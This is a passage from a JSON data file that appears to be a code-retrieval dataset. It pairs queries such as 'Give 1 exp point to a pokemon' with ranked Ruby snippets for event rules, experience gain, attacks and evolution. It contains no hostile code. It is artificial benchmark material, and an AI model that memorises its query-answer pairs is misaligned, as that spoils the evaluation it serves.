"text": "def for(event)\n reactors = ReactorSet.new\n\n @rules.each do |event_class, rule|\n # Match event by class including ancestors. e.g. All events match a role for BaseEvent.\n if event.is_a?(event_class)\n reactors.add_sync rule.sync\n reactors.add_async rule.async\n end\n end\n\n reactors\n end",
"title": ""
},
{
"docid": "4c0e60c5cd53e5e70c5cba7b28343277",
"score": "0.43697518",
"text": "def rule; end",
"title": ""
},
{
"docid": "4c0e60c5cd53e5e70c5cba7b28343277",
"score": "0.43697518",
"text": "def rule; end",
"title": ""
},
{
"docid": "4c0e60c5cd53e5e70c5cba7b28343277",
"score": "0.43697518",
"text": "def rule; end",
"title": ""
},
{
"docid": "4f2fc0c5b7d3676a4879c37c48ac6299",
"score": "0.43686467",
"text": "def event_name\n value = self.should\n\n event_name = self.class.value_option(value, :event) and return event_name\n\n name == :ensure or return (name.to_s + \"_changed\").to_sym\n\n return (resource.type.to_s + case value\n when :present; \"_created\"\n when :absent; \"_removed\"\n else\n \"_changed\"\n end).to_sym\n end",
"title": ""
},
{
"docid": "a2ae1853ce00e37c88fd9211bfae0a10",
"score": "0.43493655",
"text": "def allow( event )\n return nil if @level > event.level\n @filters.each do |filter|\n break unless event = filter.allow(event)\n end\n event\n end",
"title": ""
},
{
"docid": "a5a3dc7f106d71e68f176a12fe97ca24",
"score": "0.43395326",
"text": "def title\n \"#{event.kind} #{action}\"\n end",
"title": ""
},
{
"docid": "4f10420aaf4d48dfd4692943e534c8eb",
"score": "0.43346867",
"text": "def kind_identifier\n kind ? kind.identifier : nil\n end",
"title": ""
},
{
"docid": "4caa9e00e736ce78e8ad633d40054b61",
"score": "0.4330375",
"text": "def auth_kind=(new_auth_kind)\n new_auth_kind = nil if new_auth_kind.blank?\n super new_auth_kind\n end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.43213767",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.43213767",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "acff60338f9b29c294a6a7991defc8a3",
"score": "0.43147162",
"text": "def select_string_for_kind(a_kind)\n case a_kind.to_s\n when /problem/ then \"reporting a problem\".t\n when /question/ then \"asking a question\".t\n when /praise/ then \"giving praise\".t\n when /idea/ then \"sharing an idea\".t\n end\n end",
"title": ""
},
{
"docid": "c4ac69a1661fa60987e73de436f5f014",
"score": "0.43017653",
"text": "def set_event\n @event = Event.find(params[:id])\n authorize @event\n end",
"title": ""
},
{
"docid": "64c98f9a1353ca22c1df08c52f55b08f",
"score": "0.42947343",
"text": "def action_type\n @rule_details.actions[0].type\n end",
"title": ""
},
{
"docid": "0342e5c12f2c468e4680d229d1c69fcc",
"score": "0.42899862",
"text": "def rules_by_name; end",
"title": ""
}
] |
65f0634fecfd4913ab26cfae584b5fed
|
Give 1 exp point to a pokemon
|
[
{
"docid": "6ca4223c5f0b97680a335141c6c767fc",
"score": "0.7740598",
"text": "def exp_pokemon(pokemon)\n return if pokemon.level >= $pokemon_party.level_max_limit\n pokemon.exp += 1\n if pokemon.exp >= pokemon.exp_lvl\n pokemon.level_up_stat_refresh\n pokemon.check_skill_and_learn(true)\n pc \"==== Pension Infos ====\\nLevelUp : #{pokemon.given_name}\\n\"\n end\n end",
"title": ""
}
] |
[
{
"docid": "badc2676debb0e92bb9709882b5b0d62",
"score": "0.70086575",
"text": "def exp=(value)\n validate value => Integer\n @exp = value\n if self.level < 1\n raise \"A Pokemon can never be below level 1.\"\n end\n self.calc_stats\n end",
"title": ""
},
{
"docid": "f269a1eac6210fb0493ee956cc775404",
"score": "0.6829077",
"text": "def phase4_distribute_exp(pokemon)\n return if $game_switches[::Yuki::Sw::BT_NoExp]\n # Pokemon getting the exp\n # @type [Array<PFM::Pokemon>]\n getters = (pokemon.position < 0 ? @actors : @enemies)\n # Calculate the total amount of turn\n turn_sum = getters.sum { |battler| battler&.battle_turns || 0 }\n return if turn_sum == 0 # No exp if no turn used to beat the enemy\n # Number of turn used by the current battling pokemon\n battle_turn = getters[0, $game_temp.vs_type].sum { |battler| battler&.battle_turns || 0 }\n # We try to give exp to each pokemon\n getters.each_with_index do |battler, index|\n # No exp if KO or level >= max_level\n next if !battler || battler.dead?\n next if battler.level >= $pokemon_party.level_max_limit\n # Calculate the amount of exp according to if the pokemon is battling or not\n base_exp = phase4_exp_calculation(pokemon, battler)\n if index < $game_temp.vs_type\n exp_amount = base_exp * battle_turn / turn_sum / $game_temp.vs_type\n else\n exp_amount = base_exp * battler.battle_turns / turn_sum\n end\n\n # Bonus from Multi-Exp\n exp_amount += (base_exp / 2) if battler.item_db_symbol == :\"exp._share\" && index >= $game_temp.vs_type\n\n # No distribution if no exp\n next if exp_amount == 0\n\n # EV distribution\n battler.add_bonus(pokemon.battle_list)\n\n # Exp animation\n phase4_distribute_exp_animation(battler, exp_amount, index)\n end\n @exp_distributed = true\n end",
"title": ""
},
{
"docid": "73ee0ee1bf58b7e20d04c8dc26ed1d1c",
"score": "0.64390445",
"text": "def attack(pokemon)\n if alive()\n puts \"#{@name} attacked #{pokemon.get_name}\"\n multiplier = @type.calculate_mult(pokemon.get_type_name)\n pokemon.receive_damage(@attack,multiplier)\n else\n puts \"#{@name} is too weak to attack now\"\n end\n end",
"title": ""
},
{
"docid": "3d94df3142de11275ebab461cac09423",
"score": "0.63895917",
"text": "def gain_exp(xp)\n return if xp == 0\n info = sprintf(Vocab::Party::EXPGain, xp)\n SceneManager.display_info(info)\n # Number of pones\n msize = members.size\n # xp that disputed\n disputed = 0\n # average xp of the party\n xp_avg = 0 \n # average xp for everypony\n xp_gained_avg = (xp / msize).to_i \n # calculate average xp of the party\n members.each{|member| xp_avg += member.exp}\n xp_avg = (xp_avg / msize).to_i\n # Calculate tandard Deviation of party's xp\n standard_deviation = 0\n members.each do |member|\n standard_deviation += (member.exp - xp_avg) ** 2\n end\n standard_deviation = (Math.sqrt(standard_deviation / msize)).to_f\n # Dispute weighted xp gain\n member_by_min = members.sort{|a, b| a.exp <=> b.exp}\n member_by_min.each do |member|\n standardized = member.exp - xp_avg\n standardized /= standard_deviation if standard_deviation > 0\n xp_gained = (xp_gained_avg - standardized * standard_deviation).to_i\n xp_gained = 0 if xp_gained < 0\n xp_gained = (xp - disputed) / 2 if xp_gained > (xp - disputed)\n puts \"#{member.name} gained xp: #{xp_gained}\"\n disputed += xp_gained\n member.gain_exp(xp_gained)\n end\n # Dispute lefover averagely\n leftover = xp - disputed\n members.each do |member|\n gained = (leftover / msize).to_i\n disputed += gained\n member.gain_exp(gained)\n end\n # Dispute final very very few lefover to leader\n leader.gain_exp(xp - disputed)\n end",
"title": ""
},
{
"docid": "97a8cda2eb9e4e4ac9c6055ff03131db",
"score": "0.63713014",
"text": "def xp( target )\r\n if !@active\r\n return\r\n end\r\n dlevel = [target.level - @level, -10].max\r\n base_xp = dlevel <= 5 ? Constants::EXPERIENCE_SCALE[dlevel] : ( 180 + 12 * (dlevel - 5 ))\r\n base_xp *= 10 / ( @level + 4 ) if @level < 6\r\n base_xp = rand(base_xp..(5 * base_xp / 4))\r\n @experience = @experience.to_i + base_xp.to_i\r\n output \"You receive #{base_xp} experience points.\"\r\n if @experience > @experience_to_level\r\n level_up\r\n end\r\n end",
"title": ""
},
{
"docid": "a63f8bfacc15d1227ac6cac360010296",
"score": "0.63637316",
"text": "def gain_xp(int)\n\t\t@xp += int\n\t\tnew_level = (@xp * 0.01) + 1\n\t\tif new_level.floor > @level\n\t\t\t@level = new_level.floor\n\t\t\tputs \"\\nYou are now level #{@level}\"\n\t\telse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "35863c7179f15f223e34dfaa1d404835",
"score": "0.62523335",
"text": "def give_p1_point\n puts \"Player 1 Wins!!!\"\n @p1_wins += 1\n end",
"title": ""
},
{
"docid": "fc3da7dfa6ca54c720959032543ca7a7",
"score": "0.6250161",
"text": "def givePoint\n\t\t@points = @points + 1\n\tend",
"title": ""
},
{
"docid": "beb872c93266de892fcd68ef16b8bbea",
"score": "0.6122359",
"text": "def create\n @pokemon = Pokemon.new(pokemon_params)\n pokedex = Pokedex.find(@pokemon.pokedex_id)\n\n #ini namanya assign\n @pokemon.level = 1\n @pokemon.current_experience = 0\n @pokemon.max_health_point = pokedex.base_health_point\n @pokemon.current_health_point = pokedex.base_health_point\n @pokemon.attack = pokedex.base_attack\n @pokemon.defence = pokedex.base_defence\n @pokemon.speed = pokedex.base_speed\n\n if @pokemon.save\n redirect_to @pokemon, notice: 'Pokemon was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "6b0f81e6c0284b77fcabd0378045d77d",
"score": "0.6080983",
"text": "def growl(attacked_pokemon)\n attacked_pokemon.attack_base >1 ? attacked_pokemon.attack_base -=1 : nil\n end",
"title": ""
},
{
"docid": "44e12fc83d77d199290c2511b04d51c9",
"score": "0.6059412",
"text": "def damage#(points)\n @hp -= 10\n end",
"title": ""
},
{
"docid": "3a68d6469b9259552b050625813e0a63",
"score": "0.60533136",
"text": "def pokemon_random\n rand(897)\n end",
"title": ""
},
{
"docid": "87b4908dd59fb706a8809b349ea08e80",
"score": "0.60366136",
"text": "def buy_pokemon\n price = @list_item[@index][:price].to_s\n id_text = 94\n pkm_name = GameData::Pokemon[@list_item[@index][:id]].name\n hash = { ITEM2[0] => pkm_name, NUM7R => price }\n c = display_message(parse_text(11, id_text, hash), 1, text_get(11, 27), text_get(11, 28))\n money_checkout(1) if c == 0\n end",
"title": ""
},
{
"docid": "d6d7c6da4d92d42ee87188b8cbc71730",
"score": "0.6036601",
"text": "def create\n @pokemon = Pokemon.new(pokemon_params)\n # require 'pry'\n # binding.pry\n @pokedex = Pokedex.find(@pokemon.pokedex_id)\n @pokemon.max_health_point = @pokedex.base_health_point\n @pokemon.current_health_point = @pokedex.base_health_point\n @pokemon.attack = @pokedex.base_attack\n @pokemon.defence = @pokedex.base_defence\n @pokemon.speed = @pokedex.base_speed\n @pokemon.current_experience = 0\n @pokemon.level = 1\n\n if @pokemon.save\n redirect_to @pokemon, notice: 'Pokemon was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "665ad9decb78f331e85747f7e4a0c6da",
"score": "0.60330254",
"text": "def exp_gain(exps)\n self.update_attribute(:exp,\"#{self.exp + exps}\")\n if self.exp >= self.exp_next\n self.update_attribute(:exp_next,\"#{self.exp_next + (10 * 2**(self.lvl))}\")\n self.update_attribute(:lvl,\"#{self.lvl + 1}\")\n self.update_attribute(:total_points,\"#{self.total_points + 1}\")\n end\n end",
"title": ""
},
{
"docid": "208d0963bb449c6f75d4576e10e612a6",
"score": "0.60125124",
"text": "def exp_over_40(pokemon)\n pokemon.map{|poke_profile|\n if poke_profile[:base_experience] > 40\n return poke_profile\n end\n }\nend",
"title": ""
},
{
"docid": "b41cc724425b2241a287c0920cb13a2f",
"score": "0.6012223",
"text": "def increase_health_points\n @health_points = @health_points + 1\n end",
"title": ""
},
{
"docid": "288b70b5ecd337780d9c1b2b05cf63d8",
"score": "0.5976331",
"text": "def exp_increment(opponent)\n\t\texp_will_change!\n\t\tself.exp += (1+opponent.level/self.level)\n\t\tself.level_increment()\n\t\tself.save!\n\tend",
"title": ""
},
{
"docid": "cbd68caefc12ff6348c37598ac909913",
"score": "0.5973831",
"text": "def level=(value)\n validate value => Integer\n if value < 1\n raise \"A Pokemon can never be below level 1.\"\n end\n @exp = EXP.get_exp(species.leveling_rate(self.form), value)\n self.calc_stats\n end",
"title": ""
},
{
"docid": "3875f88a88a20918b7ff688edfae590a",
"score": "0.59679174",
"text": "def xp; 0; end",
"title": ""
},
{
"docid": "d54017f8d4155fed86a1d4a30597ce00",
"score": "0.5967323",
"text": "def fight(enemy)\n if self.pokemon.first.level > enemy.pokemon.first.level\n @pokemon << enemy.pokemon.first\n puts \"So long, smell ya later! lulz\"\n end\n end",
"title": ""
},
{
"docid": "d9153c2075ef3394c49dc38f058d3c59",
"score": "0.5964208",
"text": "def pbJustRaiseEffortValues(pokemon,ev,evgain)\n totalev=0\n for i in 0...6\n totalev+=pokemon.ev[i]\n end\n if totalev+evgain>PokeBattle_Pokemon::EVLIMIT\n evgain=PokeBattle_Pokemon::EVLIMIT-totalev\n end\n if pokemon.ev[ev]+evgain>PokeBattle_Pokemon::EVSTATLIMIT\n evgain=PokeBattle_Pokemon::EVSTATLIMIT-pokemon.ev[ev]\n end\n if evgain>0\n pokemon.ev[ev]+=evgain\n pokemon.calcStats\n end\n return evgain\nend",
"title": ""
},
{
"docid": "aab523afbfbad0025ce7f47c45fa48bd",
"score": "0.5946982",
"text": "def set_game_point(power)\n case power\n when 'T'\n return 10\n when 'J'\n return 1\n when 'Q'\n return 2\n when 'K'\n return 3\n when 'A'\n return 4\n else\n return 0\n end\n end",
"title": ""
},
{
"docid": "9d656557dbd2824e3ce7af1d57caeade",
"score": "0.593973",
"text": "def attack(attacking_pokemon, attacked_pokemon, attack_value)\n #Calculates attack, defense and actual damage\n attack = attacking_pokemon.attack_base * attacking_pokemon.level\n defense = attacked_pokemon.defense\n damage = attack - defense\n #Minimum damage is 1\n damage <= 0 ? damage = 1 : nil\n #Messages based on damage value\n if damage <=5\n @prompt.keypress(puts \"It's not very effective..\")\n elsif damage >=20\n @prompt.keypress(puts \"It's super effective!\")\n end\n #Update attacked pokemon's health\n attacked_pokemon.current_hp -= damage\n end",
"title": ""
},
{
"docid": "41df69067c714eec5e851e90ca3ca23a",
"score": "0.59243494",
"text": "def take_hit(power, type)\n amount = potential_damage(power, type)\n units_killed = [amount / hp, units].min\n self.units -= units_killed\n self.units > 0\n end",
"title": ""
},
{
"docid": "cee52a98b2eaec578e5158bb42dbb961",
"score": "0.5892259",
"text": "def action_a\n if $pokemon_party.money >= @list_item[@index][:price]\n buy_pokemon\n else\n display_message(parse_text(11, 24))\n end\n end",
"title": ""
},
{
"docid": "7e104aa27b44214d1946ce6bb1b961e9",
"score": "0.587285",
"text": "def player1_forfeits\n player_forfeits 1\n end",
"title": ""
},
{
"docid": "3af6fce693247a3f341b7f6c6cb4adec",
"score": "0.58648896",
"text": "def do_battle\n health_points = @health_points - 1\n if health_points < 1\n @lives = @lives - 1\n @lives\n @health_points += 10\n end \n end",
"title": ""
},
{
"docid": "bdc93d221c0df97867f92718cce654d5",
"score": "0.5855818",
"text": "def pbMiniCheckEvolution(pokemon,evonib,level,poke)\n case evonib\n when PBEvolution::Happiness\n return poke if pokemon.happiness>=220\n when PBEvolution::HappinessDay\n return poke if pokemon.happiness>=220 && PBDayNight.isDay?\n when PBEvolution::HappinessNight\n return poke if pokemon.happiness>=220 && PBDayNight.isNight?\n when PBEvolution::HappinessMoveType\n if pokemon.happiness>=220\n for m in pokemon.moves\n return poke if m.id>0 && m.type==level\n end\n end\n when PBEvolution::Level\n return poke if pokemon.level>=level\n when PBEvolution::LevelDay\n return poke if pokemon.level>=level && PBDayNight.isDay?\n when PBEvolution::LevelNight\n return poke if pokemon.level>=level && PBDayNight.isNight?\n when PBEvolution::LevelMale\n return poke if pokemon.level>=level && pokemon.isMale?\n when PBEvolution::LevelFemale\n return poke if pokemon.level>=level && pokemon.isFemale?\n when PBEvolution::AttackGreater # Hitmonlee\n return poke if pokemon.level>=level && pokemon.attack>pokemon.defense\n when PBEvolution::AtkDefEqual # Hitmontop\n return poke if pokemon.level>=level && pokemon.attack==pokemon.defense\n when PBEvolution::DefenseGreater # Hitmonchan\n return poke if pokemon.level>=level && pokemon.attack<pokemon.defense\n when PBEvolution::Silcoon\n return poke if pokemon.level>=level && (((pokemon.personalID>>16)&0xFFFF)%10)<5\n when PBEvolution::Cascoon\n return poke if pokemon.level>=level && (((pokemon.personalID>>16)&0xFFFF)%10)>=5\n when PBEvolution::Ninjask\n return poke if pokemon.level>=level\n when PBEvolution::Shedinja\n return -1\n when PBEvolution::DayHoldItem\n return poke if pokemon.item==level && PBDayNight.isDay?\n when PBEvolution::NightHoldItem\n return poke if pokemon.item==level && PBDayNight.isNight?\n when PBEvolution::HasMove\n for m in pokemon.moves\n return poke if m.id==level\n end\n when PBEvolution::HasInParty\n for i in $Trainer.pokemonParty\n return poke if i.species==level\n end\n when PBEvolution::LevelDarkInParty\n if pokemon.level>=level\n for i in $Trainer.pokemonParty\n return poke if i.hasType?(:DARK)\n end\n end\n when PBEvolution::Location\n return poke if $game_map.map_id==level\n when PBEvolution::LevelRain\n if pokemon.level>=level\n if $game_screen && ($game_screen.weather==PBFieldWeather::Rain ||\n $game_screen.weather==PBFieldWeather::HeavyRain ||\n $game_screen.weather==PBFieldWeather::Storm)\n return poke\n end\n end\n when PBEvolution::Beauty # Feebas\n return poke if pokemon.beauty>=level\n when PBEvolution::Trade, PBEvolution::TradeItem, PBEvolution::TradeSpecies\n return -1\n when PBEvolution::Custom1\n # Add code for custom evolution type 1\n when PBEvolution::Custom2\n # Add code for custom evolution type 2\n when PBEvolution::Custom3\n # Add code for custom evolution type 3\n when PBEvolution::Custom4\n # Add code for custom evolution type 4\n when PBEvolution::Custom5\n # Add code for custom evolution type 5\n end\n return -1\nend",
"title": ""
},
{
"docid": "0a2d490b89cc69bd8c6cb69680f2cd0e",
"score": "0.58551836",
"text": "def promote_pawn(tile)\n\t\tcurrent_piece = tile.piece\n\n\t\tputs \"What piece would you like to promote your pawn to: Q: Queen, R: Rook, N: Knight, B: Bishop\"\n\t\tresponse = gets.chomp.upcase.to_sym\n\t\tpromotion_class = PROMOTION_PIECES[response]\n\t\tif !promotion_class\n\t\t\traise \" This is an invalid selection\"\n\t\telse\n\t\t\tpromoted_piece = Object.const_get(promotion_class).new(current_piece.color,tile.to_s)\n\t\t\tpromoted_piece.setTile(tile)\n\t\t\t@active_pieces_by_color[promoted_piece.color.downcase] << promoted_piece\n\t\t\ttile.piece = promoted_piece\n\n\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "6bf1685432ecdd0608172f749efca6bc",
"score": "0.5851264",
"text": "def takeHit(x)\n @hp = @hp - x\n return @hp\n end",
"title": ""
},
{
"docid": "6bf1685432ecdd0608172f749efca6bc",
"score": "0.5851264",
"text": "def takeHit(x)\n @hp = @hp - x\n return @hp\n end",
"title": ""
},
{
"docid": "b11600e3263b0da99afcf2ac826f4690",
"score": "0.5850666",
"text": "def hit\n # refactor- i don't like how hit? and hit are mostly the same\n # methods shouldnt be called multiple times\n # attacker xp is intermingled with hit which might be better in 'Game'\n\n if hit? # TODO fix, this calls so many methods\n @attacker.experience += 10\n end\n\n damage\n end",
"title": ""
},
{
"docid": "c74b19aba7c5fc92c9974b091e7ce939",
"score": "0.5842802",
"text": "def new_point\n game_die=Die.new 0,0\n result=game_die.throw1\n\n if result== :EAST\n @direction[:EAST]+=1\n @x_coordinate+=1\n elsif result== :WEST\n @direction[:WEST]-=1\n @x_coordinate-=1\n elsif result== :NORTH\n @direction[:NORTH]+=1\n @y_coordinate+=1\n else result== :SOUTH\n @direction[:SOUTH]-=1\n @y_coordinate-=1\n end\n puts \"Hopped to:\" + \" (#{@x_coordinate}:#{@y_coordinate})\"\n end",
"title": ""
},
{
"docid": "1f95eb0a2b4e693dc6b171df6bfb18b3",
"score": "0.58421993",
"text": "def player_sending_pokemon_start_single\n (count = @logic.battler_count(0)).times do |i|\n @text.set_pknick(@logic.battler(0, i), i)\n end\n if count == 3\n return @text.parse(18, 14)\n elsif count == 2\n return @text.parse(18, 13)\n end\n return @text.parse(18, 12)\n end",
"title": ""
},
{
"docid": "c08e28e4a424f0fede7c71626aa73b45",
"score": "0.5841879",
"text": "def update_switch_pokemon\n @pokemon = @party[@party_index]\n @index = 0 if @pokemon.egg?\n $game_system.se_play($data_system.decision_se)\n update_pokemon\n end",
"title": ""
},
{
"docid": "262efaa0ad14f1c61dcda99ad9fb2025",
"score": "0.58400536",
"text": "def attack(player)\n puts \"le joueur #{self.name} attaque le joueur #{player.name}\"\n damage = compute_damage\n puts \"il lui inflige #{damage} points de dommages\"\n player.get_damage(damage)\n end",
"title": ""
},
{
"docid": "15b531d7df7861d06214cb6f774a9182",
"score": "0.5836108",
"text": "def total_exp\n @minion + @creep + @structure + @hero + @trickle\n end",
"title": ""
},
{
"docid": "11f79f7cb5c56b5db4e529dfc99ec4c3",
"score": "0.58360296",
"text": "def attack(player)\n puts \"le joueur #{@name} attaque le joueur #{player.name}\"\n damage = compute_damage\n puts \"Il lui inflige #{damage} points de dommages\"\n player.gets_damage(damage)\n \n end",
"title": ""
},
{
"docid": "862201b8ac712caec45002573681a782",
"score": "0.58341324",
"text": "def phase4_animation_KO(pokemon)\n $quests.beat_pokemon(pokemon.id) if pokemon.position < 0\n sp = gr_get_pokemon_sprite(pokemon)\n bar = gr_get_pokemon_bar(pokemon)\n bar.go_out(30)\n bar.refresh\n Audio.se_play(\"Audio/SE/Down.wav\", 100, 80)\n while bar.moving\n bar.update\n sp.y += 4\n sp.opacity -= 13\n update_animated_sprites\n Graphics.update\n end\n sp.visible = false\n while(message = BattleEngine._message_check(:critical_hit, :efficient_msg, :unefficient_msg, :parametre))\n BattleEngine::BE_Interpreter.send(*message)\n end\n display_message(parse_text_with_pokemon(19, 0, pokemon, \n BattleEngine::PKNICK[0] => pokemon.given_name))\n pokemon.status=0\n @_EXP_GIVE.push(pokemon)\n BattleEngine::_State_sub_update\n pokemon.reset_stat_stage\n end",
"title": ""
},
{
"docid": "e24d4d1aab880c8ba00a4b0f85a98e7b",
"score": "0.58311635",
"text": "def ajust_position\n @x = @y = 0\n if(@pokemon.position < 0)\n pos = E_Pos\n index = $game_temp.vs_type == 2 ? -@pokemon.position - 1 : 2\n adjust_position_enemy\n else\n pos = A_Pos\n index = $game_temp.vs_type == 2 ? @pokemon.position : 2\n adjust_position_actor\n end\n set_position(pos[index][0], pos[index][1])\n self.z = 10038 + @pokemon.position*2\n end",
"title": ""
},
{
"docid": "391bf8657b4f42786b6282a8f5099ba3",
"score": "0.58251286",
"text": "def shop_power\n if @hero.experience >= 5\n @hero.update(power: @hero.power + 3)\n @hero.update(experience: @hero.experience - 5)\n puts \"Power increased! #{@hero.name} has #{@hero.power} power.\"\n else\n puts \"Sorry, you don't have enough experience to buy this.\"\n end\n sleep(3)\n current_game\n end",
"title": ""
},
{
"docid": "bd3b544b85ac09077c7d97f0dd81dcb1",
"score": "0.5822941",
"text": "def gain_exp(victim)\n\n\tend",
"title": ""
},
{
"docid": "f58280d913471cbf506b5c2a728bf2c2",
"score": "0.57983243",
"text": "def bonus_piece\n\tif @score >= 100\n\t\t@score = @score - 100\n\t\t@cheat = true\n\tend\n end",
"title": ""
},
{
"docid": "30a50bbe395dd68682db506b6004c794",
"score": "0.5796596",
"text": "def take_damage(amount)\n @hitpoints -= amount\nend",
"title": ""
},
{
"docid": "fa0e0eedac1856417c2675af0e1fa518",
"score": "0.579142",
"text": "def proj_points_change_exp\n begin\n if(position == 'QB')\n ((average_cop_pct_exp * Analyzer::QB.cop_by_exp(experience)) * last_season.total_points* 16 / last_season.games_played).round(1)\n elsif(position == 'RB')\n ((average_cop_pct_exp * Analyzer::RB.cop_by_exp(experience)) * last_season.total_points* 16 / last_season.games_played).round(1)\n elsif(position == 'WR')\n ((average_cop_pct_exp * Analyzer::WR.cop_by_exp(experience)) * last_season.total_points* 16 / last_season.games_played).round(1)\n elsif(position == 'TE')\n ((average_cop_pct_exp * Analyzer::TE.cop_by_exp(experience)) * last_season.total_points* 16 / last_season.games_played).round(1)\n else\n return ((last_season.total_points*2 + average_points) /3).round(1)\n end\n rescue\n return ((last_season.total_points*2 + average_points) /3).round(1)\n end\n end",
"title": ""
},
{
"docid": "275de3b0f50371dee07339388a44896a",
"score": "0.5788788",
"text": "def pbMiniCheckEvolution(pokemon,evonib,level,poke)\n case evonib\n when PBEvolution::Happiness\n return poke if pokemon.happiness>=220\n when PBEvolution::HappinessDay\n return poke if pokemon.happiness>=220 && PBDayNight.isDay?\n when PBEvolution::HappinessNight\n return poke if pokemon.happiness>=220 && PBDayNight.isNight?\n when PBEvolution::HappinessMoveType\n if pokemon.happiness>=220\n for m in pokemon.moves\n return poke if m.id>0 && m.type==level\n end\n end\n when PBEvolution::Level\n return poke if pokemon.level>=level\n when PBEvolution::LevelDay\n return poke if pokemon.level>=level && PBDayNight.isDay?\n when PBEvolution::LevelNight\n return poke if pokemon.level>=level && PBDayNight.isNight?\n when PBEvolution::LevelEvening\n return poke if pokemon.level>=level && PBDayNight.isEvening?\n when PBEvolution::LevelMale\n return poke if pokemon.level>=level && pokemon.male?\n when PBEvolution::LevelFemale\n return poke if pokemon.level>=level && pokemon.female?\n when PBEvolution::AttackGreater # Hitmonlee\n return poke if pokemon.level>=level && pokemon.attack>pokemon.defense\n when PBEvolution::AtkDefEqual # Hitmontop\n return poke if pokemon.level>=level && pokemon.attack==pokemon.defense\n when PBEvolution::DefenseGreater # Hitmonchan\n return poke if pokemon.level>=level && pokemon.attack<pokemon.defense\n when PBEvolution::Silcoon\n return poke if pokemon.level>=level && (((pokemon.personalID>>16)&0xFFFF)%10)<5\n when PBEvolution::Cascoon\n return poke if pokemon.level>=level && (((pokemon.personalID>>16)&0xFFFF)%10)>=5\n when PBEvolution::Ninjask\n return poke if pokemon.level>=level\n when PBEvolution::Shedinja\n return -1\n when PBEvolution::DayHoldItem\n return poke if pokemon.item==level && PBDayNight.isDay?\n when PBEvolution::NightHoldItem\n return poke if pokemon.item==level && PBDayNight.isNight?\n when PBEvolution::HasMove\n for m in pokemon.moves\n return poke if m.id==level\n end\n when PBEvolution::HasInParty\n for i in $Trainer.pokemonParty\n return poke if i.species==level\n end\n when PBEvolution::LevelDarkInParty\n if pokemon.level>=level\n for i in $Trainer.pokemonParty\n return poke if i.hasType?(:DARK)\n end\n end\n when PBEvolution::Location\n return poke if $game_map.map_id==level\n when PBEvolution::LevelRain\n if pokemon.level>=level\n if $game_screen && ($game_screen.weather_type==PBFieldWeather::Rain ||\n $game_screen.weather_type==PBFieldWeather::HeavyRain ||\n $game_screen.weather_type==PBFieldWeather::Storm)\n return poke\n end\n end\n when PBEvolution::Beauty # Feebas\n return poke if pokemon.beauty>=level\n when PBEvolution::Trade, PBEvolution::TradeItem, PBEvolution::TradeSpecies\n return -1\n when PBEvolution::Custom1\n # Add code for custom evolution type 1\n when PBEvolution::Custom2\n # Add code for custom evolution type 2\n when PBEvolution::Custom3\n # Add code for custom evolution type 3\n when PBEvolution::Custom4\n # Add code for custom evolution type 4\n end\n return -1\nend",
"title": ""
},
{
"docid": "17c94c337268ab7861405d01afce0a3d",
"score": "0.57874304",
"text": "def gain_xp(amount)\r\n\t\t@xp += amount\r\n\t\tlevel_up if @xp >= @next_level[0] #>> should check if you've earned enough to reach next level\r\n\t\t@xp\r\n\tend",
"title": ""
},
{
"docid": "fdb72742cf82236e5d0c4b235b069bb3",
"score": "0.578312",
"text": "def pbItemRestoreHP(pokemon,restorehp)\n newhp=pokemon.hp+restorehp\n newhp=pokemon.totalhp if newhp>pokemon.totalhp\n hpgain=newhp-pokemon.hp\n pokemon.hp=newhp\n return hpgain\nend",
"title": ""
},
{
"docid": "51aff15dad2ff0abc1a45aa58472ae65",
"score": "0.5777425",
"text": "def create\n\n @pokemon = Pokemon.new(pokemon_params)\n @pokemon.level = 1\n if pokemon_params[:pokedex_id].present?\n\n @pokemon.max_health_point = Pokedex.find(pokemon_params[:pokedex_id]).base_health_point\n @pokemon.current_health_point = Pokedex.find(pokemon_params[:pokedex_id]).base_health_point\n @pokemon.attack = Pokedex.find(pokemon_params[:pokedex_id]).base_attack\n @pokemon.defence = Pokedex.find(pokemon_params[:pokedex_id]).base_defence\n @pokemon.speed = Pokedex.find(pokemon_params[:pokedex_id]).base_speed\n end\n @pokemon.current_experience = 0\n respond_to do |format|\n if @pokemon.save\n format.html { redirect_to @pokemon, notice: 'Pokemon was successfully created.' }\n format.json { render :show, status: :created, location: @pokemon }\n else\n format.html { render :new }\n format.json { render json: @pokemon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a0de5ad87e0f6da4efc9947f943f3d8",
"score": "0.57745504",
"text": "def pokemon=(pokemon)\n self.data = @pokemon = pokemon\n refresh\n return unless pokemon && !pokemon.dead?\n adjust_position\n end",
"title": ""
},
{
"docid": "dae89d740da7b093da6a4de4fbbe9f3b",
"score": "0.57723486",
"text": "def hit(enemie)\n enemie.health -= self.power\n end",
"title": ""
},
{
"docid": "d1678e9217b08fd0d52a07609f302a8b",
"score": "0.57716",
"text": "def random_pokemon\n HTTParty.get(\"http://pokeapi.co/api/v2/pokemon/?offset=#{random_offset}&limit=1\").parsed_response['results'].first\n end",
"title": ""
},
{
"docid": "b738dd14ccaf4b9959957ba3316ba643",
"score": "0.57696337",
"text": "def generate_pokemon_object\n @pokemon = @pkmn ||= PFM::Pokemon.generate_from_hash(id: @selected_pokemons[@index].to_i, level: 1, no_shiny: true)\n @pokemon.instance_eval do\n # Return the formated name for Pokedex\n # @return [String]\n def pokedex_name\n id_value = $pokedex.national? ? id : GameData::Pokemon[id].id_bis\n format(GamePlay::Dex::NAME_FORMAT, id_value, name)\n end\n\n # Return the formated Specie for Pokedex\n # @return [String]\n def pokedex_species\n GameData::Pokemon[id].species\n end\n\n # Return the formated weight for Pokedex\n # @return [String]\n def pokedex_weight\n # @type [String]\n text = ext_text(9000, 70)\n using_retard_unit = !text.downcase.end_with?('kg')\n format(text, using_retard_unit ? (weight * 2.20462).ceil(2) : weight)\n end\n\n # Return the formated height for Pokedex\n # @return [String]\n def pokedex_height\n # @type [String]\n text = ext_text(9000, 71)\n using_retard_unit = !text.downcase.end_with?('m')\n if using_retard_unit\n inches = (height * 39.3701).to_i\n feet = inches / 12\n inches -= feet * 12\n format(text, feet, 